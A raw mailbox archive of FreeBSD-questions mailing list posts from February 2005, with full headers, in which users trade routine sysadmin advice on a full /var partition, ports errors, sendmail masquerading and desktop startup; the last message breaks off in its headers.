Feb 2005 13:48:48 +0000 (GMT) (envelope-from shinjii@virusinfo.rdksupportinc.com) Received: (qmail 30812 invoked from network); 7 Feb 2005 13:48:47 -0000 Received: from unknown (HELO warren.shinji.nq.nu) (203.206.228.43) by mail.iinet.net.au with SMTP; 7 Feb 2005 13:48:47 -0000 From: Warren To: albi Date: Mon, 7 Feb 2005 23:48:36 +1000 User-Agent: KMail/1.7.2 References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <200502072328.55634.shinjii@virusinfo.rdksupportinc.com> <42076E67.5000901@scii.nl> In-Reply-To: <42076E67.5000901@scii.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502072348.37071.shinjii@virusinfo.rdksupportinc.com> cc: freebsd-questions@freebsd.org Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 13:48:49 -0000 On Mon, 7 Feb 2005 11:34 pm, albi wrote: > Warren wrote: > > Sadly neither the log dir nor mail had much in it since they where the > > 1st 2 i also thought of. > > what about /var/tmp ? also, a du -h /var might help awesome .. i was wondering about a command to list the stuff inthe individual dir's and it seems some old packages that have been de-installed ahev remnets and a lot of them in the /var/db port totalling a significant amount of Meg. Thanks for the help. -- Yours Sincerely Shinjii http://www.shinji.nq.nu From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:10:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7265616A4CE for ; Mon, 7 Feb 2005 14:10:56 +0000 (GMT) Received: from mail24.sea5.speakeasy.net (mail24.sea5.speakeasy.net [69.17.117.26]) by mx1.FreeBSD.org (Postfix) with ESMTP id 226CC43D1F for ; Mon, 7 Feb 2005 14:10:56 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 5834 invoked from network); 7 Feb 2005 14:10:55 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail24.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 7 Feb 2005 14:10:55 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 7757081; Mon, 7 Feb 2005 09:10:54 -0500 (EST) Sender: lowell@be-well.ilk.org To: freebsd-questions@freebsd.org References: <1DF8995C-7694-11D9-8017-000D93C7878E@illusionart.com> <448y64mt43.fsf@be-well.ilk.org> <7FCCEF82-77D0-11D9-8017-000D93C7878E@illusionart.com> <44oeeye9ej.fsf@be-well.ilk.org> <3454CEF0-77E8-11D9-8017-000D93C7878E@illusionart.com> From: Lowell Gilbert Date: 07 Feb 2005 09:10:54 -0500 In-Reply-To: <3454CEF0-77E8-11D9-8017-000D93C7878E@illusionart.com> Message-ID: <44u0oowjdd.fsf@be-well.ilk.org> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: portsdb -uU fails X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:10:56 -0000 Vonleigh Simmons writes: > > Have you got a refuse file? Don't. > > No. > > > Are you doing the cvsup on the ports-all collection, > > with a cvs tag of '.'? If not, do. > > Yes and yes. Have you got enough bandwidth to comfortably remove the whole multimedia directory and cvsup again? The problem you're hitting it that you are *not* getting the whole ports collection. You need to figure out why that is; I am not seeing the same symptoms. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:17:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C8F4516A4CE for ; Mon, 7 Feb 2005 14:17:42 +0000 (GMT) Received: from mail22.sea5.speakeasy.net (mail22.sea5.speakeasy.net [69.17.117.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id 922FE43D55 for ; Mon, 7 Feb 2005 14:17:42 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 4058 invoked from network); 7 Feb 2005 14:17:42 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail22.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 7 Feb 2005 14:17:41 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 6BA6081; Mon, 7 Feb 2005 09:17:41 -0500 (EST) Sender: lowell@be-well.ilk.org To: freebsd-questions@freebsd.org References: <200502061646.27199.nedsmailbox2@cox.net> <200502062228.25075.mistry.7@osu.edu> From: Lowell Gilbert Date: 07 Feb 2005 09:17:41 -0500 In-Reply-To: <200502062228.25075.mistry.7@osu.edu> Message-ID: <44k6pkwj22.fsf@be-well.ilk.org> Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:17:42 -0000 Anish Mistry writes: > On Sunday 06 February 2005 11:46 am, Ned Harrison wrote: > > I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. Is > > it possible to set it up so an ordinary user can shut the system? I've > > created a couple of accounts that are not in the wheel group so I can give > > friends and house guests the chance to play on a non-Microsoft system. I > > don't want to give them root access just to shut it down. > > > > None of the books which I have discuss using FreeBSD in this way. They are > > mostly geared to setting up networks running it for businesses. Areas > > where one may not want an ordinary user to be able to shutdown the machine. > > However, I prefer having the machine off when I'm not on it. If it's not > > possible that fine I can continue working around it like I do now. > > > The easiest way I've found to do this is assuming you have X installed and are > using a login manager ie. KDM/GDM/Login.app just use the shutdown > functionality of the login manager to shutdown the system. The most fool > proof way if you've got ACPI on this system it to just tap the power button > and it'll shutdown. For this case, where it sounds like the users will always be at the console, that last one has to be the easiest way to go. Or maybe setting a key combination to do the same (ctrl-alt-del, anyone?). From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:19:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3719316A4CE for ; Mon, 7 Feb 2005 14:19:38 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A7DF43D54 for ; Mon, 7 Feb 2005 14:19:37 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id 1209FFD01F for ; Mon, 7 Feb 2005 15:19:34 +0100 (CET) Message-ID: <420778F0.6040300@locolomo.org> Date: Mon, 07 Feb 2005 15:19:28 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> In-Reply-To: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:19:38 -0000 Warren wrote: > im trying to get cacti working, but since im using a small P2 300 machine with > a small hdd my /var has suddenly become full and im wodering what is safe and > not safe so to speak to del in the /var dir .. the following are the dir's i > have. > > drwxr-xr-x 2 root wheel 512 Feb 24 2004 account > drwxr-xr-x 4 root wheel 512 Aug 8 2004 at > drwxr-x--- 2 root wheel 512 Feb 5 03:01 backups > drwxr-x--- 2 root wheel 512 Aug 8 2004 crash > drwxr-x--- 3 root wheel 512 Aug 8 2004 cron > drwxr-xr-x 10 root wheel 512 Feb 6 20:51 db > dr-xr-xr-x 2 root wheel 512 Feb 24 2004 empty > drwx------ 2 root wheel 512 Feb 24 2004 heimdal > drwxr-xr-x 2 root wheel 512 Feb 7 03:09 log > drwxrwxr-x 3 root mail 512 Feb 4 21:41 mail > drwxr-xr-x 2 daemon wheel 512 Aug 8 2004 msgs > drwxr-xr-x 5 root wheel 512 Oct 3 22:26 named > drwxr-xr-x 2 root wheel 512 Feb 24 2004 preserve > drwxr-xr-x 5 root wheel 512 Feb 5 12:15 run > drwxrwxr-x 2 root daemon 512 Feb 24 2004 rwho > drwx--x--- 4 root uucp 512 Jan 21 22:40 smtpd > drwxr-xr-x 8 root wheel 512 Aug 8 2004 spool > drwxrwxrwt 7 root wheel 512 Feb 6 19:52 Although you have now found your solution, I'd recommend for such a question to submit the output of 'du -d1' instead - this will show which directories are using up the space. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:23:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 697A116A4CE for ; Mon, 7 Feb 2005 14:23:22 +0000 (GMT) Received: from relay.pair.com (relay00.pair.com [209.68.1.20]) by mx1.FreeBSD.org (Postfix) with SMTP id AC14E43D2D for ; Mon, 7 Feb 2005 14:23:21 +0000 (GMT) (envelope-from alejandro@varnet.biz) Received: (qmail 89931 invoked from network); 7 Feb 2005 14:23:18 -0000 Received: from unknown (HELO ale.varnet.bsd) (unknown) by unknown with SMTP; 7 Feb 2005 14:23:18 -0000 X-pair-Authenticated: 200.115.214.206 Date: Mon, 7 Feb 2005 11:23:46 -0300 From: Alejandro Pulver To: Kris Kennaway Message-ID: <20050207112346.6a6a35de@ale.varnet.bsd> In-Reply-To: <20050207021951.GA29985@xor.obsecurity.org> References: <20050206222318.17b5b2d9@ale.varnet.bsd> <20050206230922.5d49a303@ale.varnet.bsd> <20050207021951.GA29985@xor.obsecurity.org> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: [SOLVED] Re: jade error: Undefined symbol "_ZNK6Origin14asEntityOriginEv" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:23:22 -0000 On Sun, 6 Feb 2005 18:19:51 -0800 Kris Kennaway wrote: > On Sun, Feb 06, 2005 at 11:09:22PM -0300, Alejandro Pulver wrote: > > On Sun, 6 Feb 2005 22:23:18 -0300 > > Alejandro Pulver wrote: > > > > > Hello, > > > > > > I installed 'docproj-jadetex' to learn how to make Docbook documents (in SGML). When I run 'nsgmls' (texproc/sp) (when doing 'make' on a FreeBSD documentation source, or manually) it outputs the following error: > > > > > > /libexec/ld-elf.so.1: /usr/local/lib/libstyle.so.1: Undefined symbol "_ZNK6Origin14asEntityOriginEv > > > > > > How do I fix it? > > > > Sorry, I made a mistake: the program that generated the error message was 'jade' (port is 'print/jadetex'), not 'nsgmls'. > > You forgot to mention details about your FreeBSD installation. Did > you formerly run FreeBSD 4.x and then update to 5.x? If so, you need > to rebuild your ports, because C++ code compiled with gcc 2.95 (which > is the version in 4.x) is incompatible with code compiled with gcc 3.4 > (in 5.3). portupgrade is the easiest way to do this, e.g. with the -P > switch. > > Kris > Sorry, I was tired and I made mistakes and forgot a couple of things. I have FreeBSD 5.3 (from a fresh installation), and I never updated my system/ports. I installed 'jade' from a package: jade-1.2.1_8. I solved the problem. The reason was that I installed 'sp' (textproc/sp) from a package (sp-1.3.4) (as the 'fdp-primer' says) and it overrited (without saying it conflicts with 'jade') the following programs/libraries: bin/nsgmls bin/sgmlnorm bin/spam bin/spent bin/sx [ header files in include/sp ] lib/libsp.a lib/libsp.so.1 So the missing symbol was in '/usr/local/lib/libsp.so.1' (which was overritten by 'sp'): nm /usr/local/lib/libsp.so.1 | grep _ZNK6Origin14asEntityOriginEv 0009cf04 T _ZNK6Origin14asEntityOriginEv While doing that in the library from 'sp' outputs nothing. This is strange: 'fdp-primer' says one need to install it, but it replaces binaries without warning and finally 'jade' does not work. Thanks and Best Regards, Ale From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:24:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CFE5216A4CE for ; Mon, 7 Feb 2005 14:24:55 +0000 (GMT) Received: from mail.iinet.net.au (mail-02.iinet.net.au [203.59.3.34]) by mx1.FreeBSD.org (Postfix) with SMTP id ACF8543D54 for ; Mon, 7 Feb 2005 14:24:54 +0000 (GMT) (envelope-from shinjii@virusinfo.rdksupportinc.com) Received: (qmail 1856 invoked from network); 7 Feb 2005 14:24:53 -0000 Received: from unknown (HELO warren.shinji.nq.nu) (203.206.228.43) by mail.iinet.net.au with SMTP; 7 Feb 2005 14:24:52 -0000 From: Warren To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 00:24:41 +1000 User-Agent: KMail/1.7.2 References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <420778F0.6040300@locolomo.org> In-Reply-To: <420778F0.6040300@locolomo.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502080024.41683.shinjii@virusinfo.rdksupportinc.com> Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:24:55 -0000 On Tue, 8 Feb 2005 12:19 am, Erik Norgaard wrote: > Warren wrote: > > im trying to get cacti working, but since im using a small P2 300 machine > > with a small hdd my /var has suddenly become full and im wodering what is > > safe and not safe so to speak to del in the /var dir > > Although you have now found your solution, I'd recommend for such a > question to submit the output of 'du -d1' instead - this will show which > directories are using up the space. > > Cheers, Erik enterprise# du -d1 /var 2 /var/.snap 2 /var/account 6 /var/at 16 /var/backups 4 /var/crash 8 /var/cron 32946 /var/db 2 /var/empty 2 /var/heimdal 2 /var/log 4 /var/mail 4 /var/msgs 2 /var/preserve 40 /var/run 2 /var/rwho 185556 /var/spool 5376 /var/tmp 20 /var/yp 26 /var/named 28 /var/smtpd 224050 /var -- Yours Sincerely Shinjii http://www.shinji.nq.nu From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:34:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BA60116A4CE for ; Mon, 7 Feb 2005 14:34:01 +0000 (GMT) Received: from mta13-winn.mailhost.ntl.com (smtpout19.mailhost.ntl.com [212.250.162.19]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48E2F43D46 for ; Mon, 7 Feb 2005 14:34:00 +0000 (GMT) (envelope-from kamanism@ntlworld.com) Received: from aamta02-winn.mailhost.ntl.com ([212.250.162.8]) by mta13-winn.mailhost.ntl.com with ESMTP <20050207143358.NPRR11211.mta13-winn.mailhost.ntl.com@aamta02-winn.mailhost.ntl.com> for ; Mon, 7 Feb 2005 14:33:58 +0000 Received: from [192.168.1.100] (really [81.105.118.160]) by aamta02-winn.mailhost.ntl.com with ESMTP <20050207143358.XSBM3760.aamta02-winn.mailhost.ntl.com@[192.168.1.100]> for ; Mon, 7 Feb 2005 14:33:58 +0000 From: Marshall Kiam-Laine To: freebsd-questions@freebsd.org Content-Type: text/plain Organization: Orion Deep Space Command Date: Mon, 07 Feb 2005 14:33:56 +0000 Message-Id: <1107786836.3586.13.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Subject: startup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:34:01 -0000 ***hi all, rookie fiddler calling :) just loaded fbsd5.3amd64 but it stopped at the login prompt. (1) $>startkde didnt work, is that the right command please ? (2) what command to start gnome ? (3) how to tell it to start one of the GUI automatically ? many thanks, kamanism@ntlworld.com From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:37:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CA9A716A4CE for ; Mon, 7 Feb 2005 14:37:29 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2D7CA43D39 for ; Mon, 7 Feb 2005 14:37:29 +0000 (GMT) (envelope-from chip.gwyn@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so734058wri for ; Mon, 07 Feb 2005 06:37:23 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=aDcqMnRQh6NyHiPUfBFT5hf55jvWVIe74Drfor07oXF3E2QWASVfqfCWBUMd7Tjs2b2OryZHsTioFpaqlzeIrgh+AsbldQtwTctbdI5yama9HljMpBTCyCqulW9qlhUeKhZUxrHAXpkEmTsJVp1epIl0Nb12T7EQ9p6wirrRrp0= Received: by 10.54.57.79 with SMTP id f79mr82808wra; Mon, 07 Feb 2005 06:37:22 -0800 (PST) Received: by 10.54.4.44 with HTTP; Mon, 7 Feb 2005 06:37:22 -0800 (PST) Message-ID: <64a8ad9805020706376764b606@mail.gmail.com> Date: Mon, 7 Feb 2005 09:37:22 -0500 From: chip To: freebsd-questions@freebsd.org In-Reply-To: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> cc: Warren Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: chip List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:37:29 -0000 On Mon, 7 Feb 2005 22:48:41 +1000, Warren wrote: > im trying to get cacti working, but since im using a small P2 300 machine with > a small hdd my /var has suddenly become full and im wodering what is safe and > not safe so to speak to del in the /var dir .. the following are the dir's i > have. > > -- > Yours Sincerely > Shinjii > http://www.shinji.nq.nu I went through /var cleaning this up myself yesterday. I found the httpd-access.log and httpd-error.log was quite large and wouldn't turn over after a certain date or size. I also saw the snmpd.log was getting pretty big. I see that you've checked mail already. My cacti user mailbox was quite large as well. ...just a few more things to check... -- Just my $.02, your mileage may vary, batteries not included, etc.... From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:50:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4FD8C16A4EC for ; Mon, 7 Feb 2005 14:50:23 +0000 (GMT) Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1DDBB43D4C for ; Mon, 7 Feb 2005 14:50:22 +0000 (GMT) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.13.1/8.13.1) with ESMTP id j17EsXKv022965; Mon, 7 Feb 2005 15:54:33 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.13.1/8.13.1/Submit) id j17EsVgx022964; Mon, 7 Feb 2005 15:54:31 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Mon, 7 Feb 2005 15:54:31 +0100 From: Ruben de Groot To: Ted Mittelstaedt Message-ID: <20050207145431.GA22794@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Ted Mittelstaedt , Ian Moore , freebsd-questions@freebsd.org References: <200502062037.02494.no-spam@swiftdsl.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-Spam-Status: No, score=-2.3 required=5.0 tests=ALL_TRUSTED, FROM_ENDS_IN_NUMS autolearn=failed version=3.0.1 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on ei.bzerk.org cc: Ian Moore cc: freebsd-questions@freebsd.org Subject: Re: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:50:23 -0000 On Sun, Feb 06, 2005 at 02:28:17AM -0800, Ted Mittelstaedt typed: > > > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ian Moore > > Sent: Sunday, February 06, 2005 2:07 AM > > To: freebsd-questions@freebsd.org > > Subject: Sendmail masquerading configuration > > > > > > Hi, > > I'm hoping someone can help me with this. > > > > I want to make sendmail (on a 5.3-Release server) leave the > > host name out of > > the sender address when sending mail from that machine. > > I.E. mail from root currently has a sender address of > > root@myhost.foo.bar, I > > want it to be root@foo.bar instead. > > > > Not possible, I think, as I recall masquerading only works on > users not in the T macro. (ie: Trusted Users) root is > most definitely in this macro. Actually, I believe it's the EXPOSED_USERS macro, and it can be adjusted; e.g. in sendmail.cf: C{E}root just remove the root user from this line. In conjunction with a MASQUERADE_AS macro, this will allow root to send email coming from your domain without your hostname. You might want to use the MASQUERADE_ENVELOPE macro as well, 'cause that's probably what your isp is filtering on (the envelope_from address). Read all about it in /usr/share/sendmail/cf/README. BTW, I agree that masquerading is NOT the proper way to do these things. Ruben > Masquerading is a bullshit way of doing this kind of > thing anyhow. Use the -f switch if your calling the sendmail > binary directly from programs. If your using /bin/mail > as a MUA, then get a better one like Elm or Pine that > lets you do this. > > Ted > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:51:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C86016A4CE for ; Mon, 7 Feb 2005 14:51:03 +0000 (GMT) Received: from complex.heavybit.com (complex.heavybit.com [216.127.86.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id DFFE743D39 for ; Mon, 7 Feb 2005 14:51:02 +0000 (GMT) (envelope-from ken@rosewoodblues.com) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated) by complex.heavybit.com (8.11.6/8.11.6) with ESMTP id j17Ep2l05699 for ; Mon, 7 Feb 2005 06:51:02 -0800 Mime-Version: 1.0 (Apple Message framework v619.2) To: " " Message-Id: <4267ae6afacb340fbe4f67e404276a7d@rosewoodblues.com> From: Ken Hawkins Date: Mon, 7 Feb 2005 09:51:01 -0500 X-Mailer: Apple Mail (2.619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: handling multiple ips on a box? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:51:03 -0000 Your message To: 'freebsd-questions@freebsd.org' Subject: handling multiple ips on a box? Sent: Wed, 2 Feb 2005 10:17:55 -0600 did not reach the following recipient(s): 'freebsd-questions@freebsd.org' on Fri, 4 Feb 2005 10:18:33 -0600 The message was undeliverable because the recipient specified in the recipient postal address was not known at this address The MTS-ID of the original message is: c=US;a= ;p=Broadjam;l=HERMES-050202161755Z-19504 MSEXCH:IMS:Broadjam:HQ:HERMES 3450 (000B09AA) 450 Client host rejected: cannot find your hostname, [68.249.86.134] From: Ken Hawkins Date: February 2, 2005 11:17:55 AM EST To: "'freebsd-questions@freebsd.org'" Subject: handling multiple ips on a box? Sorry if this is not quite the place to ask however, if it is not can someone point me toward the right resource (on the net) for answers. I am running FreeBSD on a box with an ethernet; ifconfig em0: flags=8843 mtu 1500 options=1b inet ???.???.???.151 netmask 0xffff0000 broadcast 10.50.255.255 inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1 inet ???.???.???.152 netmask 0xffffffff broadcast 10.50.1.152 inet ???.???.???.153 netmask 0xffffffff broadcast 10.50.1.153 ether 00:30:48:2c:76:e2 media: Ethernet 100baseTX status: active the are just our ips. you will notice that .152 and .153 are aliases and are mapped to external ips via a switch. my question is how can I resolve names to the ip aliases on the box? ie ???.???.???.152 -> a.net and ???.???.???.153 -> b.net is this a /etc/hosts kind of entry? ???.???.???.152 web1.a.net web1 ???.???.???.152 web1.a.net. ???.???.???.153 web1.b.net web1 ???.???.???.153 web1.b.net. any help would be greatly appreciated! ken; From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:52:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F57716A4CE for ; Mon, 7 Feb 2005 14:52:17 +0000 (GMT) Received: from mpdir5.jmu.edu (mpdir5.jmu.edu [134.126.12.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id EF7E143D31 for ; Mon, 7 Feb 2005 14:52:16 +0000 (GMT) (envelope-from vaughajj@jmu.edu) Received: from jmu.edu (ip34-49.pc.jmu.edu [134.126.34.49]) by mpdir5.jmu.edu (MOS 3.5.6-GR) with ESMTP id BMJ04978 (AUTH vaughajj); Mon, 7 Feb 2005 09:52:14 -0500 (EST) Date: Mon, 7 Feb 2005 09:48:43 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) To: DanGer From: John J Vaughan In-Reply-To: <756433042.20050206193638@rulez.sk> Message-Id: <5CDE8090-7917-11D9-8EBB-000A957957BC@jmu.edu> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.553) cc: questions@freebsd.org Subject: Re: wget port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:52:17 -0000 Or you could try using curl instead. ports/ftp/curl -John On Sunday, February 6, 2005, at 01:36 PM, DanGer wrote: > Hi dave, > > Sunday, February 6, 2005, 7:11:28 PM, you has on mind: > >> Hello, >> I was wondering what the status of the wget ports was? I've been >> getting >> an error about wget 1.8.2 having vulnerabilities so i uninstalled it >> and >> installed or tried to install wget-devel, but portaudit said it also >> had >> vulnerabilities and it would not permit the install to continue. >> Thanks. >> Dave. > > wget has serious vulnerabilities that aren't already fixed even in > devel port...if you want install wget despite these vulns, try to do > make -DDISABLE_VULNERABILITIES install > > -- > Best Regards, > > +----------==/\/\==----------+ (__) FreeBSD > | DanGer | \\\'',) The > | DanGer@IRCnet ICQ261701668 | \/ \ ^ Power > | http://danger.homeunix.org | .\._/_) To > +----------==\/\/==----------+ Serve > > [ Joe's Moturary: You Stab 'Em, We Slab 'Em! ] > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 14:54:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3EF8516A4CE for ; Mon, 7 Feb 2005 14:54:59 +0000 (GMT) Received: from smtpauth09.mail.atl.earthlink.net (smtpauth09.mail.atl.earthlink.net [209.86.89.69]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D49743D54 for ; Mon, 7 Feb 2005 14:54:59 +0000 (GMT) 